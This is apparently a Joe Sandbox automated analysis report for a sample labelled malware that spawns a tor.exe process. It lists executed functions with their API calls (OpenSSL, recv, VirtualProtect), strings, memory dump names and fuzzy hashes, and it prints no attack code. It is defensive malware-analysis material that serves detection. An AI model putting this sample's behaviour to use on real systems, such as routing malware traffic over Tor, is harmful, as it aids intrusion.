minkernel\crts\ucrt\src\appcrt\locale\wsetlocale.cpp, xrefs: 00007FF6EA8AD6C6

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: Concurrency::details::_SchedulerScheduler::_
String ID: minkernel\crts\ucrt\src\appcrt\locale\wsetlocale.cpp
API String ID: 2780765137-2192260110
Opcode ID: 7a5531660538a4638c200b6ba376288fff9fbd8fc452edf842ea680ab4dee56b
Instruction ID: 57ac1ed7ff18f5ecf98250bf78080217f573a2707582d2105f68545130178e71
Opcode Fuzzy Hash: 7a5531660538a4638c200b6ba376288fff9fbd8fc452edf842ea680ab4dee56b
Instruction Fuzzy Hash: 7F210C2762898281EA40EB50E4A13AFA361FFC4780F805076F68EC76D6EE2FD5158746

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA834480 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6EA8342E0), ref: 00007FF6EA8344B0

Strings

CorExitProcess, xrefs: 00007FF6EA8344D0
mscoree.dll, xrefs: 00007FF6EA8344A7

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: HandleModule
String ID: CorExitProcess$mscoree.dll
API String ID: 4139908857-1276376045
Opcode ID: a01c8e86e2dd4496293028036ae429a4a9d432251ee2b7f380253768a3a12e19
Instruction ID: 5f04a25b944953200bb49b899c556e54bfd87d2404d4fb4140ca108227ed1d91
Opcode Fuzzy Hash: a01c8e86e2dd4496293028036ae429a4a9d432251ee2b7f380253768a3a12e19
Instruction Fuzzy Hash: 83118627E1CA4291DE20EF20E4953BE6761FF94344F4015B6E58EC26A6EF2ED614C709

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: tor.exePID: 7000, Parent PID: 6900COMMON

Execution Graph

Execution Coverage:	9.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	134

Executed Functions

Function 013B119B Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 159
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 013B1223
__p__acmdln.MSVCRT ref: 013B124C
malloc.MSVCRT ref: 013B12EB
strlen.MSVCRT ref: 013B130B
malloc.MSVCRT ref: 013B1316
memcpy.MSVCRT ref: 013B1332
_cexit.MSVCRT ref: 013B13A0
_amsg_exit.MSVCRT ref: 013B13DA
_initterm.MSVCRT ref: 013B13FC

Strings

9N*, xrefs: 013B1352
dL*, xrefs: 013B1217

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled__p__acmdln_amsg_exit_cexit_inittermmemcpystrlen
String ID: 9N*$dL*
API String ID: 738594520-2537455983
Opcode ID: a4b24d1c5f28e1971943f14048ec6570e42865c55e2f5b57916bdbd63740e85a
Instruction ID: 5c0cae67073638bca49890d9fe20965dd1fb33e288ce4e0f29c42a15213d8ff0
Opcode Fuzzy Hash: a4b24d1c5f28e1971943f14048ec6570e42865c55e2f5b57916bdbd63740e85a
Instruction Fuzzy Hash: E36199B0A043118FDB70EFA8E5D43A97BF5FB45358F40842DCA888BA05E775A545CF91

Uniqueness

Uniqueness Score: -1.00%

Function 015822E5 Relevance: 9.1, APIs: 6, Instructions: 67
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ERR_load_crypto_strings.LIBEAY32 ref: 0158230C
OPENSSL_add_all_algorithms_noconf.LIBEAY32 ref: 01582311

Part of subcall function 01585C99: CRYPTO_num_locks.LIBEAY32(?,?,?,?,?,?,-00000001,?,0158231B), ref: 01585CAA
Part of subcall function 01585C99: CRYPTO_set_locking_callback.LIBEAY32 ref: 01585D03
Part of subcall function 01585C99: CRYPTO_THREADID_set_callback.LIBEAY32 ref: 01585D0F
Part of subcall function 01585C99: __stack_chk_fail.LIBSSP-0 ref: 01585D24

SSLeay.LIBEAY32 ref: 0158231B
SSLeay_version.LIBEAY32 ref: 0158232A
strcmp.MSVCRT ref: 01582349

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

Part of subcall function 0158D270: __stack_chk_fail.LIBSSP-0 ref: 0158D291

Part of subcall function 0158C8E2: __stack_chk_fail.LIBSSP-0 ref: 0158C903

__stack_chk_fail.LIBSSP-0 ref: 01582407

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$D_set_callbackL_add_all_algorithms_noconfLeayLeay_versionO_num_locksO_set_locking_callbackR_load_crypto_stringsstrcmp
String ID:
API String ID: 694082125-0
Opcode ID: d3e574bee590c855aa94a46e8b793c21f0f8546b10c516b64aac5a6ce110c285
Instruction ID: b132ad5cc3f861db18cd0ae9030d2d27fbaadbd5ecbb5652647cd749da14a902
Opcode Fuzzy Hash: d3e574bee590c855aa94a46e8b793c21f0f8546b10c516b64aac5a6ce110c285
Instruction Fuzzy Hash: 7921F7B05093078FD750FFA8D95826EBBF4BF54314F40891CE8A5AB240D7B49504CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 0155ACB9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 134networkCOMMON

Download Yara Rule

APIs

Part of subcall function 01559D10: __stack_chk_fail.LIBSSP-0 ref: 01559D53

recv.WS2_32 ref: 0155AD37
__stack_chk_fail.LIBSSP-0 ref: 0155AEBA

Strings

G', xrefs: 0155AD62

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$recv
String ID: G'
API String ID: 3003304323-1542159958
Opcode ID: 201637b4b5440dbc5f44b32db593cf2304b7f75355e76726c0aefb32b108fdd9
Instruction ID: 68d6dfac1a53af4b1399193576b5eebd072503f439fe8354cf9fa2537eb6f216
Opcode Fuzzy Hash: 201637b4b5440dbc5f44b32db593cf2304b7f75355e76726c0aefb32b108fdd9
Instruction Fuzzy Hash: A651B9B490420ADFCB50DFA8C5946AEBBF0BF48314F54891EE894AB350D778D944CF62

Uniqueness

Uniqueness Score: -1.00%

Function 0157B66D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 0157B79D

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 0157B6C6

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

Strings

k, xrefs: 0157B6B6

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID: k
API String ID: 1190921433-140662621
Opcode ID: df54dcb197ce99d54e9abd06c65ad63cd8b53ecb5c5dc06bee14d68cfdfac090
Instruction ID: a41a11841b5cf44843b600fc07109060b508faa148c0fa39d154090886c15187
Opcode Fuzzy Hash: df54dcb197ce99d54e9abd06c65ad63cd8b53ecb5c5dc06bee14d68cfdfac090
Instruction Fuzzy Hash: 1131D2B05083029BDB60EF69D94935EBBE0BB84328F40CA1DE8949B381D3B8D545CF92

Uniqueness

Uniqueness Score: -1.00%

Function 0156A32B Relevance: 28.3, APIs: 14, Strings: 2, Instructions: 293
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

abort.MSVCRT ref: 0156A398
strerror.MSVCRT ref: 0156A411
__stack_chk_fail.LIBSSP-0 ref: 0156A77D

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

_close.MSVCRT ref: 0156A486

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

_close.MSVCRT ref: 0156A4F1

Strings

0, xrefs: 0156A752
N/A, xrefs: 0156A32E, 0156A32F

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$_closestrrchr$abortstrerror
String ID: 0$N/A
API String ID: 1761883011-563125843
Opcode ID: aec530e9e41b2d53b084a7de9db769ead567e6d49390877aed23d76aeb07e1dd
Instruction ID: be40ecf7d6bfb66dd549714990633ea6f6f9e1599c125cd90bd553be10cedf68
Opcode Fuzzy Hash: aec530e9e41b2d53b084a7de9db769ead567e6d49390877aed23d76aeb07e1dd
Instruction Fuzzy Hash: BDD1AEB4A053098FDB50DFA8C88479EBBF4BF89314F108829E899EB310D774A985CF51

Uniqueness

Uniqueness Score: -1.00%

Function 015519AF Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 255
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01657980: strlen.MSVCRT ref: 0165799A
Part of subcall function 01657980: malloc.MSVCRT ref: 016579A6
Part of subcall function 01657980: strlen.MSVCRT ref: 016579B0
Part of subcall function 01657980: malloc.MSVCRT ref: 016579BC
Part of subcall function 01657980: free.MSVCRT ref: 01657A1C

strlen.MSVCRT ref: 01551B67
memcpy.MSVCRT ref: 01551BA6
strlen.MSVCRT ref: 01551C2E
memcpy.MSVCRT ref: 01551C5A
memcpy.MSVCRT ref: 01551C94
__stack_chk_fail.LIBSSP-0 ref: 01551CCF

Strings

%s(): , xrefs: 01551B2E
", xrefs: 01551C81
", xrefs: 01551C99
%s: , xrefs: 01551B27

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: strlen$memcpy$malloc$__stack_chk_failfree
String ID: "$"$%s(): $%s:
API String ID: 3939626693-1049239680
Opcode ID: 40a12bff4cbdda43674307d2c9f340ad4ee4995e0f2475647317535e2c2c4611
Instruction ID: 80897d24e825fd4a33965dfa00041cf26961cb393c1589c0132d25ec1b146a12
Opcode Fuzzy Hash: 40a12bff4cbdda43674307d2c9f340ad4ee4995e0f2475647317535e2c2c4611
Instruction Fuzzy Hash: 72C16C74E0560ADFCB40DFACC494AAEBBF1BF48314F14951AE858AB310E774A885CF65

Uniqueness

Uniqueness Score: -1.00%

Function 014268AE Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.MSVCRT ref: 01426930
free.MSVCRT ref: 014269B8

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

free.MSVCRT ref: 0142697D
strcmp.MSVCRT ref: 014269EC
__stack_chk_fail.LIBSSP-0 ref: 01426A81

Strings

--defaults-torrc, xrefs: 014268E3
--ignore-missing-torrc, xrefs: 014268F8

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failfreestrcmp
String ID: --defaults-torrc$--ignore-missing-torrc
API String ID: 1505556837-1565761774
Opcode ID: e9f71443921b47056f2bed30f13e2d496e20e5e6cbd6afd162dfa7e9796b4ae4
Instruction ID: 1d232193ff45d6091ed3fb866e3d6ca972847509f2f5d3bb7165b970fc309fc2
Opcode Fuzzy Hash: e9f71443921b47056f2bed30f13e2d496e20e5e6cbd6afd162dfa7e9796b4ae4
Instruction Fuzzy Hash: 915192B4E04229DFDB10DFA9C584A9EBBF4FF09304F41842AE855AB360D774A981CF51

Uniqueness

Uniqueness Score: -1.00%

Function 01655CE0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 121
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fwrite.MSVCRT ref: 01655D0F
vfprintf.MSVCRT ref: 01655D2F
abort.MSVCRT ref: 01655D34
VirtualQuery.KERNEL32 ref: 01655DD0
VirtualProtect.KERNEL32 ref: 01655E18

Strings

@, xrefs: 01655E09

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: Virtual$ProtectQueryabortfwritevfprintf
String ID: @
API String ID: 1503958624-2766056989
Opcode ID: 1e6eb71ebf15052926a1c2822a218f30506b93822bf25a6e452fc1f8a55d7fd6
Instruction ID: cde2fdadad99a9a269df9f914b26c18cb70329178700ddaaf3200537c0aaa721
Opcode Fuzzy Hash: 1e6eb71ebf15052926a1c2822a218f30506b93822bf25a6e452fc1f8a55d7fd6
Instruction Fuzzy Hash: 664149B19043029FD760EF28D98861EBBE5FB44364F45CA1DED8997314E334E845CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0155DFD8 Relevance: 12.2, APIs: 8, Instructions: 204
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

abort.MSVCRT ref: 0155E047
abort.MSVCRT ref: 0155E086
strchr.MSVCRT ref: 0155E0D5
strstr.MSVCRT ref: 0155E0F2
strchr.MSVCRT ref: 0155E10E
abort.MSVCRT ref: 0155E17C

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

strlen.MSVCRT ref: 0155E1A0
__stack_chk_fail.LIBSSP-0 ref: 0155E285

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

